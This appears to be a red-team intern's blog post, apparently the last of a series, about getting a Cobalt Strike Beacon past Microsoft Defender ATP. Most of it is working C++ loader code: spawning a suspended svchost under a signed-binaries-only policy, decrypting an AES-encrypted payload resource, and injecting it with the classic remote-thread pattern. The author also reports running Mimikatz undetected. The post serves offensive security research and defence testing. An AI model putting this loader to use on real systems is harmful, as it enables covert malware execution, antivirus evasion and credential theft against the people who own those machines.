… and across the finish line.
1. Final round
This blogpost concludes my internship with NVISO and my journey developing a kernel driver to tamper with EDR/AV. In this final week I tried my best to deploy the driver against Microsoft Defender ATP and execute a Cobalt Strike Beacon undetected. I had hoped to have earlier access and thus more time to conduct testing against a proper EDR.
As expected, Defender ATP is a big step up from the regular consumer grade Anti-Virus products I’ve tested against thus far and the loader I’ve been using during this series doesn’t cut it anymore. Right around the time I started my tests I came across a tweet from @an0n_r0 discussing a semi-successful Defender bypass, so I used this as base for my new stage 0 loader.
The loader is based on the simple remote code injection pattern using the VirtualAllocEx
, WriteProcessMemory
, VirtualProtectEx
and CreateRemoteThread
WIN32 APIs.
void* exec = fpVirtualAllocEx(hProcess, NULL, blenu, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
fpWriteProcessMemory(hProcess, exec, bufarr, blenu, NULL);
DWORD oldProtect;
fpVirtualProtectEx(hProcess, exec, blenu, PAGE_EXECUTE_READ, &oldProtect);
fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, exec, 0, NULL);
I also incorporated dynamic function imports using hashed function names and CIG to protect the spawned suspended process against injection of non-Microsoft-signed binaries.
HANDLE SpawnProc() {
STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
if (!CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\svchost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
std::cout << "Could not spawn process" << std::endl;
DeleteProcThreadAttributeList(si.lpAttributeList);
return INVALID_HANDLE_VALUE;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
return pi.hProcess;
}
The Beacon payload is stored as a AES256 encrypted PE resource and decrypted in memory before being injected into the remote process.
HRSRC rc = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
DWORD rcSize = fpSizeofResource(NULL, rc);
HGLOBAL rcData = fpLoadResource(NULL, rc);
char* key = (char*)"16-byte-key-here";
const uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
int blenu = rcSize;
int klen = strlen(key);
int klenu = klen;
if (klen % 16)
klenu += 16 - (klen % 16);
uint8_t* keyarr = new uint8_t[klenu];
ZeroMemory(keyarr, klenu);
memcpy(keyarr, key, klen);
uint8_t* bufarr = new uint8_t[blenu];
ZeroMemory(bufarr, blenu);
memcpy(bufarr, rcData, blenu);
pkcs7_padding_pad_buffer(keyarr, klen, klenu, 16);
AES_ctx ctx;
AES_init_ctx_iv(&ctx, keyarr, iv);
AES_CBC_decrypt_buffer(&ctx, bufarr, blenu);
Last but not least I incorporated the Sleep_Mask directive in my Cobalt Strike Malleable C2 profile, this tells Cobalt Strike to obfuscate Beacon in memory before it goes to sleep by means of an XOR encryption routine.
The loader works so well I was able to execute Beacon and run Mimikatz undetected without the use of my kernel driver. On that bombshell, it’s time to end this internship and I think I can conclude that while having a kernel driver to tamper with EDR/AV is certainly useful, a majority of the detection mechanisms are still present in user land or are driven by signatures and rules for static detection.